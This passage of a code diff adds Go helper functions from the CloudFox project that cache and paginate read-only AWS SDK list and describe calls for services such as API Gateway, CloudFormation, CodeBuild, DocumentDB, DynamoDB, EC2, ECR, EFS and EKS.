GetRestApis, err := client.GetRestApis(
context.TODO(),
&apigateway.GetRestApisInput{
Position: PaginationControl,
},
func(o *apigateway.Options) {
o.Region = region
},
)
if err != nil {
return restAPIs, err
}
restAPIs = append(restAPIs, GetRestApis.Items...)
//pagination
if GetRestApis.Position == nil {
break
}
PaginationControl = GetRestApis.Position
}
return restAPIs, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apigatewayv2"
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
"github.com/patrickmn/go-cache"
)
type APIGatewayv2ClientInterface interface {
GetApis(context.Context, *apigatewayv2.GetApisInput, ...func(*apigatewayv2.Options)) (*apigatewayv2.GetApisOutput, error)
}
func RegisterApiGatewayV2Types() {
gob.Register([]apiGatwayV2Types.Api{})
}
func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID string, region string) ([]apiGatwayV2Types.Api, error) {
var PaginationControl *string
var apis []apiGatwayV2Types.Api
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apiGatwayV2Types.Api), nil
}
for {
GetApis, err := client.GetApis(
context.TODO(),
&apigatewayv2.GetApisInput{
NextToken: PaginationControl,
},
func(o *apigatewayv2.Options) {
o.Region = region
},
)
if err != nil {
return apis, err
}
apis = append(apis, GetApis.Items...)
//pagination
if GetApis.NextToken == nil {
break
}
PaginationControl = GetApis.NextToken
}
internal.Cache.Set(cacheKey, apis, cache.DefaultExpiration)
return apis, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apprunner"
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
"github.com/patrickmn/go-cache"
)
type AppRunnerClientInterface interface {
ListServices(context.Context, *apprunner.ListServicesInput, ...func(*apprunner.Options)) (*apprunner.ListServicesOutput, error)
}
func RegisterApprunnerTypes() {
gob.Register([]apprunnerTypes.Service{})
gob.Register([]apprunnerTypes.ServiceSummary{})
}
func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID string, region string) ([]apprunnerTypes.ServiceSummary, error) {
var PaginationControl *string
var services []apprunnerTypes.ServiceSummary
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apprunnerTypes.ServiceSummary), nil
}
for {
ListServices, err := client.ListServices(
context.TODO(),
&apprunner.ListServicesInput{
NextToken: PaginationControl,
},
func(o *apprunner.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, ListServices.ServiceSummaryList...)
//pagination
if ListServices.NextToken == nil {
break
}
PaginationControl = ListServices.NextToken
}
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
+119
View File
@@ -0,0 +1,119 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/patrickmn/go-cache"
)
type CloudFormationClientInterface interface {
GetTemplate(context.Context, *cloudformation.GetTemplateInput, ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error)
DescribeStacks(context.Context, *cloudformation.DescribeStacksInput, ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error)
ListStacks(context.Context, *cloudformation.ListStacksInput, ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error)
}
func RegisterCloudFormationTypes() {
gob.Register([]cloudFormationTypes.Stack{})
gob.Register([]cloudFormationTypes.StackSummary{})
}
func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.Stack, error) {
var PaginationControl *string
var stacks []cloudFormationTypes.Stack
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]cloudFormationTypes.Stack), nil
}
for {
DescribeStacks, err := client.DescribeStacks(
context.TODO(),
&cloudformation.DescribeStacksInput{
NextToken: PaginationControl,
},
func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stacks, err
}
stacks = append(stacks, DescribeStacks.Stacks...)
//pagination
if DescribeStacks.NextToken == nil {
break
}
PaginationControl = DescribeStacks.NextToken
}
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
return stacks, nil
}
func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accountID string, region string, stackName string) (string, error) {
var stackTemplateBody string
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(string), nil
}
GetTemplate, err := client.GetTemplate(
context.TODO(),
&cloudformation.GetTemplateInput{
StackName: &stackName,
}, func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stackTemplateBody, err
}
stackTemplateBody = aws.ToString(GetTemplate.TemplateBody)
internal.Cache.Set(cacheKey, *GetTemplate.TemplateBody, cache.DefaultExpiration)
return stackTemplateBody, nil
}
func CachedCloudFormationListStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.StackSummary, error) {
var PaginationControl *string
var stacks []cloudFormationTypes.StackSummary
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]cloudFormationTypes.StackSummary), nil
}
for {
ListStacks, err := client.ListStacks(
context.TODO(),
&cloudformation.ListStacksInput{
NextToken: PaginationControl,
},
func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stacks, err
}
stacks = append(stacks, ListStacks.StackSummaries...)
//pagination
if ListStacks.NextToken == nil {
break
}
PaginationControl = ListStacks.NextToken
}
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
return stacks, nil
}
+118
View File
@@ -0,0 +1,118 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
"github.com/patrickmn/go-cache"
)
type CodeBuildClientInterface interface {
ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error)
BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error)
GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error)
}
func RegisterCodeBuildTypes() {
gob.Register(codeBuildTypes.Project{})
}
// create a CachedCodeBuildListProjects function that accepts a codebuild client, account id, and region. Make sure it handles the region option and pagination
func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var projects []string
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListProjects, err := CodeBuildClient.ListProjects(
context.TODO(),
&codebuild.ListProjectsInput{
NextToken: PaginationControl,
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
projects = append(projects, ListProjects.Projects...)
// Pagination control.
if ListProjects.NextToken != nil {
PaginationControl = ListProjects.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, projects, cache.DefaultExpiration)
return projects, nil
}
// create a CachedCodeBuildBatchGetProjects function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (codeBuildTypes.Project, error) {
project := codeBuildTypes.Project{}
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(codeBuildTypes.Project), nil
}
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
context.TODO(),
&codebuild.BatchGetProjectsInput{
Names: []string{projectID},
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return project, err
}
internal.Cache.Set(cacheKey, BatchGetProjects.Projects[0], cache.DefaultExpiration)
return BatchGetProjects.Projects[0], nil
}
// create a CachedCodeBuildGetResourcePolicy function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (string, error) {
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(string), nil
}
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
context.TODO(),
&codebuild.GetResourcePolicyInput{
ResourceArn: aws.String("arn:aws:codebuild:" + region + ":" + accountID + ":project/" + projectID),
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return "", err
}
internal.Cache.Set(cacheKey, GetResourcePolicy, cache.DefaultExpiration)
return aws.ToString(GetResourcePolicy.Policy), nil
}
+141
View File
@@ -0,0 +1,141 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/docdb"
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
"github.com/patrickmn/go-cache"
)
type DocDBClientInterface interface {
DescribeGlobalClusters(context.Context, *docdb.DescribeGlobalClustersInput, ...func(*docdb.Options)) (*docdb.DescribeGlobalClustersOutput, error)
DescribeDBClusters(context.Context, *docdb.DescribeDBClustersInput, ...func(*docdb.Options)) (*docdb.DescribeDBClustersOutput, error)
DescribeDBInstances(context.Context, *docdb.DescribeDBInstancesInput, ...func(*docdb.Options)) (*docdb.DescribeDBInstancesOutput, error)
}
func RegisterDocDBTypes() {
gob.Register([]docdbTypes.GlobalCluster{})
gob.Register([]docdbTypes.DBCluster{})
//gob.Register([]docdbTypes.DBInstance{})
}
func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.GlobalCluster, error) {
var PaginationControl *string
var globalClusters []docdbTypes.GlobalCluster
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.GlobalCluster), nil
}
for {
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
context.TODO(),
&docdb.DescribeGlobalClustersInput{
Marker: PaginationControl,
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return globalClusters, err
}
globalClusters = append(globalClusters, DescribeGlobalClusters.GlobalClusters...)
//pagination
if DescribeGlobalClusters.Marker == nil {
break
}
PaginationControl = DescribeGlobalClusters.Marker
}
internal.Cache.Set(cacheKey, globalClusters, cache.DefaultExpiration)
return globalClusters, nil
}
func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBCluster, error) {
var PaginationControl *string
var dbClusters []docdbTypes.DBCluster
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.DBCluster), nil
}
for {
DescribeDBClusters, err := client.DescribeDBClusters(
context.TODO(),
&docdb.DescribeDBClustersInput{
Marker: PaginationControl,
Filters: []docdbTypes.Filter{
{
Name: aws.String("engine"),
Values: []string{"docdb"},
},
},
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return dbClusters, err
}
dbClusters = append(dbClusters, DescribeDBClusters.DBClusters...)
//pagination
if DescribeDBClusters.Marker == nil {
break
}
PaginationControl = DescribeDBClusters.Marker
}
internal.Cache.Set(cacheKey, dbClusters, cache.DefaultExpiration)
return dbClusters, nil
}
func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBInstance, error) {
var PaginationControl *string
var dbInstances []docdbTypes.DBInstance
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.DBInstance), nil
}
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
&docdb.DescribeDBInstancesInput{
Marker: PaginationControl,
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return dbInstances, err
}
dbInstances = append(dbInstances, DescribeDBInstances.DBInstances...)
//pagination
if DescribeDBInstances.Marker == nil {
break
}
PaginationControl = DescribeDBInstances.Marker
}
internal.Cache.Set(cacheKey, dbInstances, cache.DefaultExpiration)
return dbInstances, nil
}
+85
View File
@@ -0,0 +1,85 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
"github.com/patrickmn/go-cache"
)
type DynamoDBClientInterface interface {
ListTables(context.Context, *dynamodb.ListTablesInput, ...func(*dynamodb.Options)) (*dynamodb.ListTablesOutput, error)
DescribeTable(context.Context, *dynamodb.DescribeTableInput, ...func(*dynamodb.Options)) (*dynamodb.DescribeTableOutput, error)
}
func RegisterDynamoDBTypes() {
gob.Register([]string{})
gob.Register(dynamoDBTypes.TableDescription{})
}
func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var tables []string
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListTables, err := client.ListTables(
context.TODO(),
&dynamodb.ListTablesInput{
ExclusiveStartTableName: PaginationControl,
},
func(o *dynamodb.Options) {
o.Region = region
},
)
if err != nil {
return tables, err
}
tables = append(tables, ListTables.TableNames...)
//pagination
if ListTables.LastEvaluatedTableName == nil {
break
}
PaginationControl = ListTables.LastEvaluatedTableName
}
internal.Cache.Set(cacheKey, tables, cache.DefaultExpiration)
return tables, nil
}
func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID string, region string, tableName string) (dynamoDBTypes.TableDescription, error) {
var tableDescription dynamoDBTypes.TableDescription
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(dynamoDBTypes.TableDescription), nil
}
DescribeTable, err := client.DescribeTable(
context.TODO(),
&dynamodb.DescribeTableInput{
TableName: &tableName,
},
func(o *dynamodb.Options) {
o.Region = region
},
)
if err != nil {
return tableDescription, err
}
tableDescription = *DescribeTable.Table
internal.Cache.Set(cacheKey, tableDescription, cache.DefaultExpiration)
return tableDescription, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/ec2"
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/patrickmn/go-cache"
)
type EC2ClientInterface interface {
DescribeInstances(context.Context, *ec2.DescribeInstancesInput, ...func(*ec2.Options)) (*ec2.DescribeInstancesOutput, error)
}
func RegisterEC2Types() {
gob.Register([]ec2Types.Instance{})
}
func CachedEC2DescribeInstances(client EC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
var PaginationControl *string
var instances []ec2Types.Instance
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]ec2Types.Instance), nil
}
for {
DescribeInstances, err := client.DescribeInstances(
context.TODO(),
&ec2.DescribeInstancesInput{
NextToken: PaginationControl,
},
func(o *ec2.Options) {
o.Region = region
},
)
if err != nil {
return instances, err
}
for _, reservation := range DescribeInstances.Reservations {
instances = append(instances, reservation.Instances...)
}
//pagination
if DescribeInstances.NextToken == nil {
break
}
PaginationControl = DescribeInstances.NextToken
}
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
return instances, nil
}
+136
View File
@@ -0,0 +1,136 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ecr"
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/patrickmn/go-cache"
)
type AWSECRClientInterface interface {
DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error)
DescribeImages(ctx context.Context, params *ecr.DescribeImagesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error)
GetRepositoryPolicy(ctx context.Context, params *ecr.GetRepositoryPolicyInput, optFns ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error)
}
func RegisterECRTypes() {
gob.Register([]ecrTypes.Repository{})
gob.Register([]ecrTypes.ImageDetail{})
}
// create a CachedECRDescribeRepositories function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID string, region string) ([]ecrTypes.Repository, error) {
var PaginationControl *string
var repositories []ecrTypes.Repository
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repositories data")
return cached.([]ecrTypes.Repository), nil
}
for {
DescribeRepositories, err := ECRClient.DescribeRepositories(
context.TODO(),
&ecr.DescribeRepositoriesInput{
NextToken: PaginationControl,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
repositories = append(repositories, DescribeRepositories.Repositories...)
// Pagination control.
if DescribeRepositories.NextToken != nil {
PaginationControl = DescribeRepositories.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, repositories, cache.DefaultExpiration)
return repositories, nil
}
// create a CachedECRDescribeImages function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) ([]ecrTypes.ImageDetail, error) {
var PaginationControl *string
var images []ecrTypes.ImageDetail
cacheKey := fmt.Sprintf("%s-efs-DescribImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Images data")
return cached.([]ecrTypes.ImageDetail), nil
}
for {
DescribeImages, err := ECRClient.DescribeImages(
context.TODO(),
&ecr.DescribeImagesInput{
NextToken: PaginationControl,
RepositoryName: &repositoryName,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
images = append(images, DescribeImages.ImageDetails...)
// Pagination control.
if DescribeImages.NextToken != nil {
PaginationControl = DescribeImages.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, images, cache.DefaultExpiration)
return images, nil
}
// create a CachedECRGetRepositoryPolicy function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) (string, error) {
// in repositoryName, replace "/" with "-"
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repository policy data")
return cached.(string), nil
}
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
context.TODO(),
&ecr.GetRepositoryPolicyInput{
RepositoryName: &repositoryName,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return "", err
}
PolicyText := aws.ToString(GetRepositoryPolicy.PolicyText)
internal.Cache.Set(cacheKey, PolicyText, cache.DefaultExpiration)
return PolicyText, nil
}
+178
View File
@@ -0,0 +1,178 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/efs"
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
"github.com/patrickmn/go-cache"
)
type AWSEFSClientInterface interface {
DescribeFileSystems(ctx context.Context, params *efs.DescribeFileSystemsInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemsOutput, error)
DescribeMountTargets(ctx context.Context, params *efs.DescribeMountTargetsInput, optFns ...func(*efs.Options)) (*efs.DescribeMountTargetsOutput, error)
DescribeAccessPoints(ctx context.Context, params *efs.DescribeAccessPointsInput, optFns ...func(*efs.Options)) (*efs.DescribeAccessPointsOutput, error)
DescribeFileSystemPolicy(ctx context.Context, params *efs.DescribeFileSystemPolicyInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemPolicyOutput, error)
}
func RegisterEFSTypes() {
gob.Register([]efsTypes.FileSystemDescription{})
gob.Register([]efsTypes.MountTargetDescription{})
gob.Register([]efsTypes.AccessPointDescription{})
gob.Register(policy.Policy{})
}
func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string, r string) ([]efsTypes.FileSystemDescription, error) {
var PaginationMarker *string
var filesystems []efsTypes.FileSystemDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.FileSystemDescription), nil
}
for {
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
context.TODO(),
&efs.DescribeFileSystemsInput{
Marker: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
filesystems = append(filesystems, DescribeFileSystems.FileSystems...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeFileSystems.Marker != nil {
PaginationMarker = DescribeFileSystems.Marker
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, filesystems, cache.DefaultExpiration)
return filesystems, err
}
func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.MountTargetDescription, error) {
var PaginationMarker *string
var mountTargets []efsTypes.MountTargetDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.MountTargetDescription), nil
}
for {
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
context.TODO(),
&efs.DescribeMountTargetsInput{
FileSystemId: aws.String(filesystemId),
Marker: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
mountTargets = append(mountTargets, DescribeMountTargets.MountTargets...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeMountTargets.Marker != nil {
PaginationMarker = DescribeMountTargets.Marker
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, mountTargets, cache.DefaultExpiration)
return mountTargets, err
}
func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.AccessPointDescription, error) {
var PaginationMarker *string
var accessPoints []efsTypes.AccessPointDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.AccessPointDescription), nil
}
for {
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
context.TODO(),
&efs.DescribeAccessPointsInput{
FileSystemId: aws.String(filesystemId),
NextToken: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
accessPoints = append(accessPoints, DescribeAccessPoints.AccessPoints...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeAccessPoints.NextToken != nil {
PaginationMarker = DescribeAccessPoints.NextToken
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, accessPoints, cache.DefaultExpiration)
return accessPoints, err
}
func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemId string, r string, accountID string) (policy.Policy, error) {
var efsPolicy policy.Policy
var policyJSON string
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(policy.Policy), nil
}
Policy, err := EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemPolicyInput{
FileSystemId: aws.String(filesystemId),
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return efsPolicy, err
}
policyJSON = aws.ToString(Policy.Policy)
efsPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return efsPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", filesystemId, err)
}
internal.Cache.Set(cacheKey, efsPolicy, cache.DefaultExpiration)
return efsPolicy, nil
}
+152
View File
@@ -0,0 +1,152 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/eks"
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
"github.com/patrickmn/go-cache"
)
type EKSClientInterface interface {
DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error)
ListClusters(context.Context, *eks.ListClustersInput, ...func(*eks.Options)) (*eks.ListClustersOutput, error)
DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error)
ListNodegroups(context.Context, *eks.ListNodegroupsInput, ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error)
}
func RegisterEKSTypes() {
gob.Register([]string{})
gob.Register(eksTypes.Cluster{})
gob.Register(eksTypes.Nodegroup{})
}
func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clusterName string, region string) (eksTypes.Cluster, error) {
var cluster eksTypes.Cluster
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(eksTypes.Cluster), nil
}
clusterOutput, err := client.DescribeCluster(
context.TODO(),
&eks.DescribeClusterInput{
Name: &clusterName,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return cluster, err
}
cluster = *clusterOutput.Cluster
internal.Cache.Set(cacheKey, cluster, cache.DefaultExpiration)
return cluster, nil
}
func CachedEKSListClusters(client EKSClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var clusters []string
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListClusters, err := client.ListClusters(
context.TODO(),
&eks.ListClustersInput{
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return clusters, err
}
clusters = append(clusters, ListClusters.Clusters...)
//pagination
if ListClusters.NextToken == nil {
break
}
PaginationControl = ListClusters.NextToken
}
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
return clusters, nil
}
func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region string, clusterName string) ([]string, error) {
var PaginationControl *string
var nodeGroups []string
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListNodeGroups, err := client.ListNodegroups(
context.TODO(),
&eks.ListNodegroupsInput{
ClusterName: &clusterName,
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return nodeGroups, err
}
nodeGroups = append(nodeGroups, ListNodeGroups.Nodegroups...)
if ListNodeGroups.NextToken != nil {
PaginationControl = ListNodeGroups.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, nodeGroups, cache.DefaultExpiration)
return nodeGroups, nil
}
func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, region string, clusterName string, nodeGroupName string) (eksTypes.Nodegroup, error) {
var nodeGroup eksTypes.Nodegroup
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, nodeGroupName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(eksTypes.Nodegroup), nil
}
nodeGroupOutput, err := client.DescribeNodegroup(
context.TODO(),
&eks.DescribeNodegroupInput{
ClusterName: &clusterName,
NodegroupName: &nodeGroupName,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return nodeGroup, err
}
nodeGroup = *nodeGroupOutput.Nodegroup
